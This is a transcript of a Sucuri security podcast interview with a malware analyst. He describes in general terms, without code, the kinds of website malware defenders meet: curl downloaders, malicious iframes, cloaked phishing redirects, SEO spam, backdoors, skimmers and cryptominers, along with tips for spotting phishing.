Also, this month I had a blog go up detailing what's called a jibberish hack. It's basically the same motivation as an SEO spam attack where bad actors use your site's good standing to redirect visitors to their own sites. But in this attack, you'll find a bunch of randomly named folders filled with a ton of HTML files with really nonsensical file names like cheap-cool-hairstyles-photos.html. It's just going to be a mishmash of keywords that clearly you didn't put there. Unfortunately, just deleting all those HTML files and folders is not going to be enough to get rid of that jibberish hack though. You're going to need to fully clean any hacked files and database tables, and then you're going to have to deal with all the damage caused to your site's standing. And just keep in mind, if you find anything about that process too daunting, we're always here to help. Now, for this month's Sit Down, we have Sucuri analyst Krasimir Konov. Earlier in June, he had written a lab's note about a malicious downloader script that used the curl function, and we chatted a bit about it, but more importantly, we went really in-depth on all the different varieties of malware that website owners need to be aware of. But, before I get started with Krasimir, I just wanted to remind you about the Sucuri Sync-Up, our sister podcast. It's a weekly website security news briefing that you can find anywhere you get your podcasts, as well as the video version on our social media feed, and now you can even get it on your Amazon Alexa smart speakers. Just search Amazon skills for Sucuri Sync-Up, add the flash briefing, and get new content delivered every Monday. Now, on with the show. Hi Krasimir, thanks for joining us on the show. I thought we could start off and maybe have you tell us a little bit about yourself and what you do here at Sucuri? Krasimir Konov: Yeah, sure. Well, I joined Sucuri originally in 2014, but I've been in the IT business for about 10 years. Nine of those I did security. And currently at Sucuri I'm one of the malware analysts. I used to work in the front lines, used to clean websites and whatnot, and then I gradually moved up, and now I'm working in the malware research department. And my day to day job is basically analyzing malware, and then once I analyze it and figure out what it is, then I will create a signature for it. And we'll add those signatures to our tools, so we can automate some of the work we do. And I also write some Labs Notes blog posts. Usually, if I find something interesting in malware or some security topic, I'll write about it. Justin Channell: Yeah. And of those topics recently that you wrote about, one was about a malicious curl downloader, and how exactly did that work? Krasimir Konov: Right, yeah. That was an interesting one, but not very unique or anything like that. We see that a lot with curl being used as a downloader. It's a very common malware. So rather than including the actual malware in the file, the attackers would use curl to download the malicious code. In this case, they'll download it from Pastebin, but it could be anything. It could be another website or anything like that, and curl would just make a call to the website, request the code. The website will respond with the code, and then later on, there is some code to either save the output somewhere on the website, or you'll just run it through eval and execute the actual code right away. Justin Channell: Right. And you said that it's commonly found in malware, but let's kind of maybe talk a bit broader about malware in general. What is everything that is classified as malware? Krasimir Konov: Well, in general it will be anything that the owner of the website didn't authorize, anything that was added by a third party. There is a lot of different malware. It could be even something like a defacement that will also be considered malware because it was something the user did not authorize. Even though it might not be doing anything malicious on the website, it's not infecting users, the visit is still something they did not authorize. So defacement would also be considered malware. And even something like ransomware where the website is technically not really damaged, it's all encrypted, but it's not infecting anybody. It's not doing anything malicious, but it's still encrypting the entire website and asking the user or the customer, the owner of the website for a ransom they need to pay in order to get the website back online. Justin Channell: Okay. Let's maybe break it down to each individual type of malware. For example, what would be a way that maybe I-frames could be maliciously used by a hacker? Krasimir Konov: Yeah. An I-frame can be used maliciously when it loads content from another location. You can look at the I-frame as a window that just opens another website. So anything that website has on it, you're pretty much loading it through the I-frame. So if that website is infected and it's serving some kind of malware, by opening an I-frame, you're loading all those elements, everything that was on this website. And sometimes the I-frame can be as small as pixel or something hidden somewhere off the screen, so you wouldn't even know that it was opening it. Justin Channell: And yeah, I feel like we've also seen a lot of them where they're used almost to mimic popups as well. Krasimir Konov: Yeah. I mean the I-frame, it could just load from another website and the other website could do anything. It could be serving just malware and it would try to infect the user that doesn't even know that they're being connected to the other website. It could just have some other JavaScript that's just trying to open up pop ups on the original website through the I-frame. Yeah, it could be a lot of things. Justin Channell: Okay. And also, let's talk a little bit about conditional redirects and how those work. What allows a script to detect which devices are coming in and where they're coming from? Krasimir Konov: Right. Yeah. That's a common one we see a lot. Basically, a conditional redirect would be something, it's a redirect on the website. It's obviously malicious, but there's certain conditions that need to be met before the redirect is actually executed or the redirect happens. For example, let's say if it's on a phishing website or a phishing page that is hidden somewhere on the website. For example, if Google visits it, obviously the attacker doesn't want Google to see the actual phishing page and record it as a phishing page. So they'll look for, for example, the IP address. They would look for the user agent. And a lot of times they can tell that it's a bot. So they'll just return a 404 response, for example, that will be like, "Oh, page not found." So Google would be like, "Oh, it looks like this page doesn't exist." But then if a regular user goes to the same page, then those conditions will be met. The actual website or the script behind the phishing will check and see, and be like, "Oh, this one is running Firefox or Chrome," and be like, okay. And then they'll look at the IP and be like, "Oh, he's in whatever, he's in United States somewhere." And he's like, "Oh, okay. That's good." And then once all of these conditions are met, then the actual script will serve them the actual phishing page. And it'll be like, "Oh, you need to fill out this to recover your account or whatever, or type in your credentials to log in here." Justin Channell: And so this is the type of thing we're really, a website owner is going to run into this more commonly when people are complaining about they're getting served bad content or whatever, and they can't seem to replicate it. It's likely probably these kind of redirects. Is that right? Krasimir Konov: Right, right. It could be something as specific as, for example, a range of IP addresses that correspond to an ISP or maybe let's say a country. It could be like, "Oh, were targeting only customers in the US," so if you're connecting from another country and you go to the same website or the same page, it would just say 404. It will give you a page not found. But then if you actually have an IP address from the United States, you're connecting from the United States, then it will actually show you the phishing page. Justin Channell: Now another type of malware I feel like we see a lot here is SEO spam. We hear people talking about that. What are some of the top SEO spam keywords that you see coming through? Krasimir Konov: Yeah. We get that a lot. We see a lot of spam on websites. A lot of times attackers will use SEO spam to gain ranking for their own website. Or they'll just try to include some kind of SEO spam in links to another website that they're currently running or something. I mean, these things change all the time. So a website might be up for a week and then it'll disappear, and then they'll start another campaign. But yeah, we see that a lot. We see all kinds of keywords they use. Most common ones will be something like Viagra. We'll have like jerseys for sale. A lot of times, they'll use name brands like Nike, Rolex, Prada. We've seen even some essay writing services for some reason. I'm not sure why, but that's common. We see, for example, pharmaceuticals a lot that will use specific medicine names. They'll use all kinds of replicas, like a replica bag of this, replica this, replica that. We'd see prescription, also payday loans. And obviously there's some adult related sites and things like that keywords. Justin Channell: So pretty much anything that people are going to be searching and clicking on are probably going to be targets for SEO spam? Krasimir Konov: Right. I think a lot of it commonly is pharma related because a lot of people are looking to buy medicine online, and a lot of times will require a prescription. So a lot of people are like, "Oh, let me see if I can find this medicine that I can buy it online somewhere." They don't need a prescription. They don't want to pay to visit a doctor and whatnot, and they'll look for it. And yeah. Justin Channell: Now, whenever somebody's website does get hacked with a SEO spam attack, what kind of effect can it have on the website beyond just being defaced? Krasimir Konov: Yeah. You can have a lot of things can happen, negative things. For example, the website can be blacklisted because of the keywords. And that usually represents a big red warning when you go on the website, depending on who blacklisted it. But if it's Google, for example, you'll see a big warning and it'll tell you this website contains malware or there's something wrong with this website. So, pretty much all the traffic on the website will be gone. And then you can also lose a lot of your reputation if there is a SEO spam on the website. For example, if you were ranked in say number five for certain keywords that represent your product on Google search engines, and then suddenly you get hit with SEO spam, then all these search engines then go and visit the website. And all of a sudden they're like, "Oh, there's all these weird key words on here, all this SEO spam that's causing a lot of mixed signals." And the search engines are like, "Oh, where do we rank this website now? Do we rank them with this product that's originally what the website is about? Or do we take into consideration all these other keywords that are mixed up that are SEO spam?" So, all of a sudden your website might go from being ranked number five on the first page to being on the 10th page. And then you rank for all these other keywords that you didn't intend to. And then people search for something completely different. They're searching for jerseys or something, or now they're searching for Prada products, and then suddenly your website pops up in there. So you're not really getting any good traffic, not targeted traffic. But, yeah. Justin Channell: Okay. So in a lot of ways, the effects of SEO spam would kind of be the same for defacements or any kind of malware with the blacklisting, but it does bring that kind of unique part to it where then it can also then bring traffic that you weren't expecting from somebody searching for jerseys, for example. I had not really ever thought about that. Krasimir Konov: Right, right. Yeah. It will definitely bring some traffic. I've seen a lot of times where websites will be connected. Let's say, there was 1,000 websites that were all infected with SEO spam, and it will kind of link each other to try to bring each other up into the rankings. And so you would see a lot of strange traffic from some random websites that were, for example, that were previously infected, even if they might not be anymore. But yeah, they'll be sending traffic to you or there'll be usually search engines sending you traffic, but for the wrong keywords. People are looking for something else, so obviously they're not going to be interested in your website. They're not going to buy anything because they're not looking for that. Justin Channell: And now, so thinking of the way websites get infected, a very common way it seems to be is through phishing campaigns. What are some recommendations you have for the best ways to avoid becoming a phishing victim? Krasimir Konov: Yeah. There is some ways. I mean, it depends really on the type of attack. Obviously, a lot of people, when they think of phishing, they think, "Oh, it's just like a PayPal phishing page and it just looks like the original," but it could be more subtle. If it's just a regular page where you're just going and you get redirected to another website, obviously the first thing to look is if you have the security padlocks, make sure that traffic is encrypted. A lot of these websites don't really have any encryption nowadays. More are starting to get that with pre SSLs being issued and whatnot. But that's the first thing to look and see, make sure. Anywhere you're typing your sensitive information, you want to make sure you have the padlock to make sure everything is encrypted. Krasimir Konov: But also you want to look at the URL of the actual website you're visiting. A lot of times they'll try to hide it. So you might have to be careful and look closely. Something that might be an I will be an L or something like that. And a capital I and L might look kind of similar into your IRL, so you might miss something like that. Say, if you're looking for PayPal and it might replace the L with an I, and if you don't look closely, it might look exactly the same. And you're like, "Oh, okay, it's paypal.com," but not really. So yeah. Just pay attention to the URL, make sure it is the actual website. There's no paypal.com dot something, dot something else, dot com. Yeah. You want it to just say paypal.com, and then it'll have forward slash and something else. But yeah, it gets more complicated when you have, for example, a phishing page that's injected into a regular page. For example, you have a checkout page on a website that you're buying things from and you go through the checkout page and you're looking at where you type in your credit card information and whatnot. And you might have a phishing page that actually looks exactly like a little box that gives you where you put in your credit card number, or your name, your address, and all that. So that will be more subtle. For example, that could be also an I-frame that's just coming from another page. And it will look exactly like it's part of the website. You're on the legitimate website, but only that portion of the website is actually the phishing page. And you look at it and you're like, "Oh, okay. It looks fine. I'm just putting my credentials." So that one could be a lot harder to figure it out. Usually, if it's something like that, I look for something that looks kind of out of place. Maybe they didn't get the right font. It might not be the same as the original website or there might be something out of place, some fields that are missing or some fields that are squished into the left or the right. It looks kind of awkward. It's like, why would this be like this? The whole website looks professional. There's a pink background or something, for example, and then suddenly there's this white box in the middle. It's like, ah, it looks kind of weird, out of place. Justin Channell: So pretty much if anything looks slightly out of place, you really should double check everything at that point. Krasimir Konov: Right. Right. Yeah. Obviously there's more ways that you can check, but I wouldn't get into more technical, like inspecting elements and looking at stuff, but yeah. Justin Channell: And now another type of malware that's kind of, and it kind of plays in with whatever the other infection is, is backdoors. Can you give us some examples of what backdoors can be? It's mainly just when a hacker can get back into the site to reinfect it, but I know there are a ton of different methods. And what are some of the more common ones and then maybe some that really interesting that you've seen? Krasimir Konov: Yeah, there is a lot. They'll probably be one of the first things the hacker would do is if they compromise a website, obviously they'll try to spread backdoors and just inject code everywhere so they can get back in, even if the owner of the website or webmaster cleans it. They want to try and hide some malicious code somewhere so they can always get back in. There's many variations. A backdoor could be something as simple as a single line of code to just [inaudible 00:20:19] argument, some kind of string or something via get or post. Krasimir Konov: And then it runs into an eval, so it evaluates the code and executes it. And some backdoors are very complex and they can be included in, let's say you have a WordPress site and you have a specific login page where all the login credentials are being processed and everything else. They could even inject code into that to basically bypass the whole login mechanism so that they can just bypass everything. They don't even have to know any user. They don't have to know the password, nothing. They'll just include some lines in there, and every time they'll be just able to log in. Yeah. It gets pretty crazy. Yeah. I mean, there's all kinds of malware. There is always a malware, for example, that just targets credit cards and will just target the eCommerce websites. And they'll just try to steal the login credentials, I mean, the credit cards. They'll try to get your address, your credit card information, any kind of CVV code or whatever you typed into the billing address, everything. And then there's also malware like the backdoors that are just trying to keep the attacker in control and trying to get them back into the website. There's just so many variations of what a malicious user might want to do on a website. Some can be something as simple as just reinfecting the website. They don't want to keep control. They just want to keep reinfecting it with some kind of malware. So even if you clean it, it would just get reinfected. Some of them in the database, otherwise might be in the files. We've seen some added into a [inaudible 00:22:14] job that just keeps running on the server. There could be malware that is just a giant to, for example, attack out of websites. Like for example, a distributed denial service where they put the same malware on thousands of websites. And then they try to send traffic to one website to try to bring it down. Yeah. People try to do all kinds of stuff with websites. We've seen even some cryptocurrency mining malware that you go onto a website and suddenly your PC starts running like crazy. And you're like, what the hell is going on? Your fans turn on and the PC is 100% CPU. And it turns out that the website has some malware that's just by mining Bitcoins with your CPU and it's using all of it. Justin Channell: Wow. Okay. So one question now, the last question I have is of all the malware that you've seen, what do you think is the coolest piece of malware that you've ever seen? Krasimir Konov: I think the coolest would be the ones that are so subtle that you don't even know that it's there. For example, we've seen some that were pretty innovative. It will be just a one liner code that's just one line. And for example, it will be let's say 40-50 characters, something like that. And that's all it is. And they'll hide it somewhere in between the legitimate code. And if you don't know what you're looking for, you would never see it. It doesn't look suspicious. There is no links to some other website. There's no some kind of encrypted code or anything like that. It's just a simple one line. And then if you're just scrolling through the file looking for something, you would never see it. It just looks like all the other code. And then if you look closely, you're like, "Oh, there's this..." Look closely, and you're like, "Oh wow, this is not supposed to be there." And then you keep looking at it and you're like, "This looks really weird." And then you see that it's actually doing some malicious things and trying to evaluate some code or taking output from the outside, I mean, some input from outside, you can call it and give it code to run. Justin Channell: Well, Krasimir, thanks for coming on and talking to us for today. Krasimir Konov: Yeah. Thank you. Thank you. I'm so happy. I'm glad I was able to do this podcast and I can't wait to do another one. Justin Channell: Yeah, we'll have you on again. Thanks. Krasimir Konov: Thank you. Justin Channell: Thanks again to Krasimir for joining us here on the Sit Down. We'll be back with another episode next month. So be sure to subscribe on Apple podcasts, Spotify, Stitcher, or any podcasting platform. Also, be sure to follow us on social media at Sucuri Security and check us out at sucuri.net. That's S-U-C-U-R-I.net. I'm Justin Channell, And this has been the Sucuri Sit Down. Stay safe out there.](https://blog.sucuri.net/wp-content/uploads/2020/05/20-sucuri-podcast-blog-post_blog_image-390x183.jpg)








